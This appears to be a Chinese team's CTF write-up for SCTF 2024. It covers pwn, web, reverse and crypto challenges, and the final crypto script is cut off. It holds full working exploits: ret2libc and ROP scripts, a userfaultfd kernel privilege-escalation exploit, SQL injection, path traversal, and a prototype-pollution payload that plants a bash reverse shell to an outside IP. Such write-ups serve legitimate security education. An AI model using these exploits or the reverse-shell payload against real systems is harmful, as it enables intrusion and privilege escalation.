Featured image of post sctf 2024

sctf 2024

UKFC 2024 SCTF Writeup

UKFC2024 SCTF 成绩

本次比赛,ukfc排名23位,pwn方向差一题ak。

PWN

Factory

按照对size的定义来说,i最多可以只可以达到0x10,但是可以通过循环写入修改 i 的值可以去实现攻击

可以在这个位置覆盖 i 的值,从而去实现修改返回地址实现ret2libc (fuzz的时候别输入大值,不然只能吃剩饭了)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

ifremote=0
if ifremote==1:
    io=remote('1.95.81.93',57777)
else:
    io=process('./factory')

elf = ELF('./factory')
libc=ELF("./libc.so.6")
#libc=ELF("./libc-2.23.so")
def debug():
    gdb.attach(io)
    pause()

debug()
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvlint()

#b *0x401378
sla(b'How many factorys do you want to build: ',str(38))

for i in range(20):
    sa(b' = ',b'\n')
pause()
sa(b' = ',b'24')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
pop_rdi=0x0000000000401563
sa(b' = ',b'\n')
sa(b' = ',str(0x0000000000401563))
sa(b' = ',str(0x0000000000401563))
sa(b' = ',str(puts_got))
sa(b' = ',str(puts_plt))
sa(b' = ',str(main_addr))

for i in range(7):
    sa(b' = ',b'\n')

puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr==============>",hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+0x1b45bd

sla(b'How many factorys do you want to build: ',str(38))

for i in range(20):
    sa(b' = ',b'\n')
sa(b' = ',b'24')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
pop_rdi=0x0000000000401563
sa(b' = ',b'\n')
ret=0x000000000040101a
sa(b' = ',str(0x0000000000401563))
sa(b' = ',str(0x0000000000401563))
sa(b' = ',str(binsh_addr))
sa(b' = ',str(ret))
sa(b' = ',str(system_addr))
sa(b' = ',str(main_addr))

for i in range(6):
    sa(b' = ',b'\n')
io.interactive()

Vmcode

惯例看一眼,有 PIE ,没有 Canary

有沙盒

一眼 ORW ,那么就可以通过使用 shellcode 或者找 gadget 实现

但是程序很奇怪啊,感觉没头没尾的,怎么能实现 orw 呢?这样看来只能从汇编下手了,一看果然暗藏玄机,下面藏了一堆分散的代码段。

标记一下在 ida 恢复成函数

单纯看汇编不好理解程序的逻辑,可以结合 gdb 理解,这里简单讲一下:

类似于逆向的 vm ,程序要执行的指令写在了 data 段的 code 中,有部分代码可以根据 code 段上的内容会引导至对应 rodata 上的 offset,从而计算出需要运行的指令的地址,code 中写的相当于是这个二进制程序自定义的一套 opcode,而 bss 段上则有这个二进制程序自定义的 stack,具体 opcode 对应的指令见下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rsi = opcode offset 
//确定 code 中下一个应执行 opcode 的位置

rdi = stack offset 
//自定义栈起始位置与 stack 其实位置的偏移

xxx  s0 
xxx-8  s1 rax
xxx-10 s2 rdi
xxx-18  s3 rsi
xxx-20  s4 rdx
//在自定义栈上的变量位置以及在执行系统调用时对应的寄存器

opcode - offset - addr - func
0x23 - 0x6d - 0x12a7 - xor s1 s2 -> s2 //异或
0x24 - 0x8a- 0x12c4 - s1 <-> s3 //交换
0x25 - 0xa6 - 0x12e0 - s1 <-> s2
0x26 - 0xc2 - 0x12fc - put 4byte from code to stack
0x27 - 0xdf - 0x1319 - s1 -> s1 low 8 bit //保留低八位
0x28 - 0xf4 - 0x132e - control stack offset--
0x29 - 0xf8 - 0x1332 - shr s1 8
0x2a - 0x10e - 0x1348 - control stack offset++ & s1 值迁移至新地址 
0x2b - 0x122 - 0x135c - shl s1 8
0x2c - 0x138 - 0x1372 - control stack offset-- & s1 -> rax
0x2d - 0x169 - 0x13a3 - ror s1 s2l
0x2e - 0x186 - 0x13c0 - rol s1 s2l
0x2f - 0x1a3 - 0x13dd - and s1 s2 -> s2
0x30 - 0x1c0 - 0x13fa - syscall
0x31 - 0x1eb - 0x1425 - s1addr -> s0(debug得出)
0x32 - 0x1ff - 0x1439 - use to continue
0x33 - 0x218 - - exit

脚本见下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import * 

context(
    os = 'linux',
    arch = 'amd64',
    log_level = 'debug'
    )

#io = process('./pwn')
io = remote('1.95.68.23',58924)

def dbg():
    gdb.attach(io)
    pause()


shellcode = b'\x28\x26flag'
shellcode += b'\x2a\x28\x31'
shellcode += b'\x2a\x2a\x2a\x23\x24\x2a\x2a\x23\x24'
shellcode += b'\x28\x26\x02\x00\x00\x00'
shellcode += b'\x30'

shellcode += b'\x31\x29\x2b\x25\x24\x29\x29\x29\x24'
shellcode += b'\x2a\x29'
shellcode += b'\x30'

shellcode += b'\x31\x29\x2b\x2a\x28\x26\x50\x00\x00\x00\x24\x26\x01\x00\x00\x00\x25\x28\x26\x01\x00\x00\x00\x30'

io.sendlineafter(b'she',shellcode)

io.interactive()

GoComplier

https://github.com/wa-lang/ugo

实现了一个类似能编译ugo的程序

发现当通过调用函数赋值时 编译的程序会造成栈溢出

由此利用 rop长度应该是受限的 不过也够利用 找到合适gadget完成rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package main

func function() string {

    return "/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh/bin/sh"
}

func main() {

    var a string = function() // Capture the return value from function
    a = "\x00\x00\x00\x00\x00\x00\x00\x00\xe7\x7a\x44\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x16\x10\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\xb5\x44\x00\x00\x00\x00\x00\x96\x80\x49\x00\x00\x00\x00\x00"

    return 0
}
//     a =''//rdx 
//     a = a + "\xe7\x7a\x44\x00\x00\x00\x00\x00"/poprax
//     a = a + "\x3b\x00\x00\x00\x00\x00\x00\x00" //rax
//     a = a + "\x16\x10\x40\x00\x00\x00\x00\x00" //0x0000000000401016  add rsp 8 ret
//     a = a + "\x00\x00\x00\x00\x00\x00\x00\x00" //rsi
//     a = a + "\x94\xb5\x44\x00\x00\x00\x00\x00" //0x000000000044b594 poprdi syscall
//     a = a + "\x56\x80\x49\x00\x00\x00\x00\x00" //rdi

kno_puts revenge, kno_puts

两题常规解法 \x00绕过随机数cmp后

发现对应模块的write未加写锁 虽然该内核版本已取消了普通用户使用userfaultfd的权限

但是启动脚本里专门置0了

再通过notes泄露地址 条件竞争劫持控制流pt_regs执行rop

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#include "sekiro.h"

#define COMMIT_CREDS   0xFFFFFFFF81097D00 
#define INIT_CRED 0xFFFFFFFF82448CC0
#define WORK_FOR_CPU_FN 0xffffffff810bd960
#define POP_RDI_RET 0xffffffff81008989
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xFFFFFFFF81C00aa5
#define addrsp_0x1a0 0xffffffff816319d9
#define addrsp_0x1b0 0xffffffff8114f5b2
#define SWAPGS 0xffffffff8105c8f0
int fd_vuln;
char* uffd_buf_hijack;
size_t heapaddr;
struct request
{
    char *rd;
    size_t a1;
    size_t a2;
    size_t a3;
    size_t a4;
    size_t a5;

};
void get_shell() {
    system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_flag()
{
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x");
    system("chmod +x /tmp/x");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/sekiro");
    system("chmod +x /tmp/sekiro");
    system("/tmp/sekiro");
    sleep(0.3);
    system("cat /flag");
    exit(0);
}
size_t  orignal[0x30];
pthread_t pwn;
size_t uffd_buf[512];
size_t kernel_offset ;

int tty_fd;

void hijack_handler(void *args)
{
    int uffd = (int)args;
    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;

    for (;;)
    {
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        if (poll(&pollfd, 1, -1) == -1)
            err_exit("Failed to exec poll for leak_handler");

        int res = read(uffd, &msg, sizeof(msg));
        if (res == 0)
            err_exit("EOF on userfaultfd for leak_handler");
        if (res == -1)
            err_exit("ERROR on userfaultfd for leak_handler");
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            err_exit("INCORRET EVENT in leak_handler");
        // operation
        info("hijack the kernel in userfaultfd -- hijack_handler");
        del();

  
        tty_fd=open("/dev/ptmx", O_RDWR);
        // size_t fake_ops[16] = { 0 };
        // fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;
        uffd_buf[0]=0x100005401;
        uffd_buf[1]=addrsp_0x1a0  +kernel_offset;
        uffd_buf[2]=heapaddr+(0xffff88800e11a6c0-0xffff88800e3d2800);
        uffd_buf[3] =  heapaddr+0x8-0x60;
        uffd_buf[4] = COMMIT_CREDS+kernel_offset;
        uffd_buf[5] = INIT_CRED+kernel_offset;

  
        // printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);
  
        // printf("fake_ops: %#lx\n", fake_ops);
        uffdio_copy.src = uffd_buf;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
    }
}

void register_userfaultfd(void *uffd_buf, pthread_t pthread_moniter, void *handler)
{
    int uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;

    uffd = syscall(__NR_userfaultfd, O_NONBLOCK | O_CLOEXEC);
    if (uffd == -1)
        err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        err_exit("ioctl for UFFDIO_API ERROR");

    uffdio_register.range.start = (unsigned long long)uffd_buf;
    uffdio_register.range.len = 0x1000;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        err_exit("ioctl for UFFDIO_REGISTER ERROR");

    int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
    if (res == -1)
        err_exit("pthread_create ERROR in register_userfaultfd func");
}
size_t koffset;
size_t add(){

    char *addr = malloc(8); // 分配 8 字节

    struct request req={.a5=&addr};
    while (1)
    {
        int res=ioctl(fd_vuln,0xFFF0,&req);
        //printf("%d \n",res);
        if(res!=-1){
            printf("success!\n");
 
            hexx("heap addr", addr);
            //getchar();
            break;
        }
    }
    return addr;

  
}
void del(){

    struct request req={0};
    while (1)
    {
        int res=ioctl(fd_vuln,0xFFF1,&req);
        //printf("%d \n",res);
        if(res!=-1){
            printf("success!\n");
            break;
        }
    }
  
  
}
size_t      swapgs_restore_regs_and_return_to_usermode;
size_t      init_cred;
size_t      pop_rdi_ret;
size_t      commit_creds;
size_t      iretq;
size_t      poprsp;
size_t      ret;
size_t      swapgs;
int main()
{   save_status();
    int packet_fd;
    size_t leak, kernel_base;
    char data[0x200];
    char buf[0x20];
    size_t rebuf[0x10];
    bind_core(0);
  
    fd_vuln = open("/dev/ksctf", 2);
    int note_fd = open("/sys/kernel/notes", O_RDONLY);
    read(note_fd, data, 0x100);
    //hexdump(data, 0x100);0xffffffff81002000  

    memcpy(&leak, &data[0x84], 8);
    hexx("leak", leak);
    kernel_base = leak - 0x19e1180;
    hexx("kernel_base", kernel_base);
    kernel_offset = kernel_base - 0xffffffff81000000;
    hexx("kernel_offset", kernel_offset);
    heapaddr=add();
    uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);
    pop_rdi_ret =POP_RDI_RET+kernel_offset;
    ret=pop_rdi_ret+1;
    init_cred =INIT_CRED+kernel_offset;
    commit_creds=COMMIT_CREDS+kernel_offset;
    swapgs_restore_regs_and_return_to_usermode=SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE+kernel_offset;
    iretq=0xffffffff81009069+kernel_offset;
    swapgs=SWAPGS+kernel_offset;
    size_t gs=(size_t) get_shell;
    write(fd_vuln,uffd_buf_hijack,0x40);
    add();
    poprsp=0xffffffff81000401+kernel_offset;
        size_t *rop [0x30], it=0;

    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs ;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
    write(fd_vuln,rop,0x50);
    heapaddr+=0x800;
        __asm__(
        "mov r15,   poprsp;"
        "mov r14,   poprsp;"
        "mov r13,   heapaddr;"
        "mov rax,   0x10;" 
        "mov rdx,   8;"
        "mov rsi,   rsp;"

    );
    return 0;
}

Web

Sycserver

登陆时会访问/config获取passwd的加密公钥,手动加密一下123’ or 1=1#发包登录拿到cookie

看下robots.txt里写了个/ExP0rtApi路由,H4sIAAAAAAAAA开头的数据是base64编码gzip压缩的数据,想办法读一下文件,删除v会报错 Cannot read properties of undefined (reading 'replace'),ExP0rtApi?v=.``/``&f=app.js就ok,解密完的app.js

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
const express = require('express');
const fs = require('fs');
const nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql');
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

// MySQL connection
const con = mysql.createConnection({
  host: 'localhost',
  user: 'ctf',
  password: 'ctf123123',
  port: '3306',
  database: 'sctf'
});

con.connect((err) => {
  if (err) {
    console.error('Error connecting to MySQL:', err.message);
    setTimeout(con.connect(), 2000); // Retry connection after 2 seconds
  } else {
    console.log('Connected to MySQL');
  }
});

// RSA key generation
const key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

const publicPem = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----`;

const privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

// Express app setup
const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

let Reportcache = {};

// Middleware to verify admin
function verifyAdmin(req, res, next) {
  const token = req.cookies['auth_token'];

  if (!token) {
    return res.status(403).json({ message: 'No token provided' });
  }

  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) {
      return res.status(403).json({ message: 'Failed to authenticate token' });
    }

    if (decoded.role !== 'admin') {
      return res.status(403).json({ message: 'Access denied. Admins only.' });
    }

    req.user = decoded;
    next();
  });
}

// Routes
app.get('/hello', (req, res) => {
  res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
  res.json({ publicKey: publicPem });
});

const decrypt = function(body) {
  try {
    const pem = privatePem;
    const key = new nodeRsa(pem, {
      encryptionScheme: 'pkcs1',
      b: 1024
    });
    key.setOptions({ environment: "browser" });
    return key.decrypt(body, 'utf8');
  } catch (e) {
    console.error("decrypt error", e);
    return false;
  }
};

app.post('/login', (req, res) => {
  const encryptedPassword = req.body.password;
  const username = req.body.username;

  try {
    const passwd = decrypt(encryptedPassword);
    if (username === 'admin') {
      const sql = `SELECT (SELECT password FROM user WHERE username = 'admin') = '${passwd}';`;
      con.query(sql, (err, rows) => {
        if (err) throw new Error(err.message);
        if (rows[0][Object.keys(rows[0])]) {
          const token = jwt.sign({ username, role: username }, SECRET_KEY, { expiresIn: '1h' });
          res.cookie('auth_token', token, { secure: false });
          res.status(200).json({ success: true, message: 'Login Successfully' });
        } else {
          res.status(200).json({ success: false, message: 'Error Password!' });
        }
      });
    } else {
      res.status(403).json({ success: false, message: 'This Website Only Open for admin' });
    }
  } catch (error) {
    res.status(500).json({ success: false, message: 'Error decrypting password!' });
  }
});

app.get('/ExP0rtApi', (req, res) => {
  let rootpath = req.query.v;
  let file = req.query.f;

  file = file.replace(/\\.\\.\\//g, '');
  rootpath = rootpath.replace(/\\.\\.\\//g, '');

  if (rootpath === '') {
    if (file === '') {
      return res.status(500).send('Try to find parameters HaHa');
    } else {
      rootpath = "static";
    }
  }

  const filePath = path.join(__dirname, rootpath + "/" + file);

  if (!fs.existsSync(filePath)) {
    return res.status(404).send('File not found');
  }

  fs.readFile(filePath, (err, fileData) => {
    if (err) {
      console.error('Error reading file:', err);
      return res.status(500).send('Error reading file');
    }

    zlib.gzip(fileData, (err, compressedData) => {
      if (err) {
        console.error('Error compressing file:', err);
        return res.status(500).send('Error compressing file');
      }
      const base64Data = compressedData.toString('base64');
      res.send(base64Data);
    });
  });
});

app.get("/report", (req, res) => {
  res.sendFile(path.join(__dirname, "static", "report_noway_dirsearch.html"));
});

app.post("/report", verifyAdmin, (req, res) => {
  const { user, date, reportmessage } = req.body;
  if (Reportcache[user] === undefined) {
    Reportcache[user] = {};
  }
  Reportcache[user][date] = reportmessage;
  res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
  let count = 0;
  for (const user in Reportcache) {
    count += Object.keys(Reportcache[user]).length;
  }
  res.json({ count });
});

// Check current running user
app.get("/VanZY_s_T3st", (req, res) => {
  const command = 'whoami';
  const cmd = cp.spawn(command, []);
  cmd.stdout.on('data', (data) => {
    res.status(200).end(data.toString());
  });
});

// Start server
app.listen(3000, () => {
  console.log('Server running on http://localhost:3000');
});

再读取一下require里的handle/index.js和child_process.js

index.js,封装了一下child_process

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');
new ritm.Hook(
    ['child_process'],
    function (module, name) {
        switch (name) {
            case 'child_process': {
                return patchChildProcess(module);
            }
        }
    }
);

child_process.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function patchChildProcess(cp) {
    cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
    cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
    cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
    cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
    cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
    cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });
    return cp;
}

function patchOptions(hasArgs) {
    return function apply(target, thisArg, args) {
        var pos = 1;
        if (pos === args.length) {
            args[pos] = prototypelessSpawnOpts();
        } else if (pos < args.length) {
            if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
                pos++;
            }
            if (typeof args[pos] === 'object' && args[pos] !== null) {
                args[pos] = prototypelessSpawnOpts(args[pos]);
            } else if (args[pos] == null) {
                args[pos] = prototypelessSpawnOpts();
            } else if (typeof args[pos] === 'function') {
                args.splice(pos, 0, prototypelessSpawnOpts());
            }
        }
        return target.apply(thisArg, args);
    };
}
function prototypelessSpawnOpts(obj) {
    var prototypelessObj = Object.assign(Object.create(null), obj);
    prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
    return prototypelessObj;
}
module.exports = patchChildProcess;

/report路由非常奇怪地加了个 Reportcache[user][date] = reportmessage;一眼原型链污染,污染点在后面/VanZY_s_T3st的spawn里,传了个command [],让上面child_process.js的pos变成2,注入数组第三个参数,污染到spawn的Options参数

进到prototypelessSpawnOpts( )

1
2
3
4
5
function prototypelessSpawnOpts(obj) {
    var prototypelessObj = Object.assign(Object.create(null), obj);
    prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
    return prototypelessObj;
}

环境变量注入,当你在 Bash 中定义一个函数,比如 whoami,Bash 会创建一个名为 BASH_FUNC_whoami%% 的环境变量,里面存储了这个函数的定义,这里把他覆盖成弹shell的,然后访问/VanZY_s_T3st触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "user": "__proto__",
  "date": 2,
  "reportmessage": {
    "shell": "/bin/bash",
    "env": {
      "BASH_FUNC_whoami%%": "() { bash -c 'bash -i >& /dev/tcp/12.34.56.78/2333 0>&1'; }"
    }
  }
}

或者直接打这个,NODE_OPTIONS放到env里面

misc

HAHAHAy04

这就不得不提在Kcon上BlBana大佬的议题了(

Reverse

BBox

so里的是crc+异或随机数,比较好还原,动调寄存器下断拿到全部key。

还原回去注意到全是可见字符,且长度符合base64加密特征,猜测进行了base64,先调试发现有问题,然后猜测进行了循环异或,爆破一下发现是异或了输入长度。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h> 
#include<stdlib.h> 
#include<stdint.h>
uint32_t decrypt(uint32_t res) {
    for (int i = 0; i < 32;i++) {
        if (res % 2 == 0) {
            res /= 2;
        }else {
            res ^= 0x85B6874F;
            res /= 2;
            res |=(1 << 31);
        }
    }
    return res;
}
int main()
{
        unsigned int data[10] = {
    0xA3C8C033, 0x1A1DBFF3, 0xC6B7413B, 0x52865EF1, 0x1E6BCF52, 0xBFCBF9C5, 0xF1627BED, 0x544843F7, 
    0xD94C85FB, 0x6EF23035
};
        int key[]={ };//动调获取
        int flagg[]={0x56, 0x74, 0x5A, 0x67, 0x55, 0x6E, 0x73, 0x2F, 0x55, 0x67, 
  0x7E, 0x2C, 0x56, 0x6E, 0x6D, 0x68, 0x56, 0x67, 0x77, 0x65, 
  0x55, 0x5D, 0x48, 0x2D, 0x54, 0x74, 0x71, 0x34, 0x56, 0x5D, 
  0x56, 0x66, 0x55, 0x74, 0x4D, 0x2E, 0x54, 0x6E, 0x5C, 0x26};
        char flag[40];
        for (int i = 0; i < 10;i++) {
         uint32_t result = decrypt(data[i]);
        int temp[4];
        for (int j=0;j<4;j++){
                temp[j]=result&0xff;
                result>>=8;
                }
                for (int j=0;j<4;j++){
                temp[j]^=key[i*4+j];
                temp[j]^=30;
                printf("%c",temp[j]);
                }
     }
    return 0;
}

然后反复调试拿到base码表,跑一下就行。

logindemo

分析逻辑,把username和passwd放一起加密然后发出去,搜索关键字符串找到密文

base+循环异或S0C0Z0Y0W后还原出一坨数字

然后so 注意到大数和65537,感觉是rsa,直接解就出了

Crypto

signin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import long_to_bytes
from sympy import symbols, Eq, solve
from hashlib import md5

N = 32261421478213846055712670966502489204755328170115455046538351164751104619671102517649635534043658087736634695616391757439732095084483689790126957681118278054587893972547230081514687941476504846573346232349396528794022902849402462140720882761797608629678538971832857107919821058604542569600500431547986211951
e = 334450817132213889699916301332076676907807495738301743367532551341259554597455532787632746522806063413194057583998858669641413549469205803510032623432057274574904024415310727712701532706683404590321555542304471243731711502894688623443411522742837178384157350652336133957839779184278283984964616921311020965540513988059163842300284809747927188585982778365798558959611785248767075169464495691092816641600277394649073668575637386621433598176627864284154484501969887686377152288296838258930293614942020655916701799531971307171423974651394156780269830631029915305188230547099840604668445612429756706738202411074392821840

#连分数展开
def continued_fraction(numerator, denominator):
    while denominator:
        quotient, remainder = divmod(numerator, denominator)
        yield quotient
        numerator, denominator = denominator, remainder

# 逐步分数近似
def convergents(continued_fraction_seq):
    num1, num2 = 1, 0
    den1, den2 = 0, 1
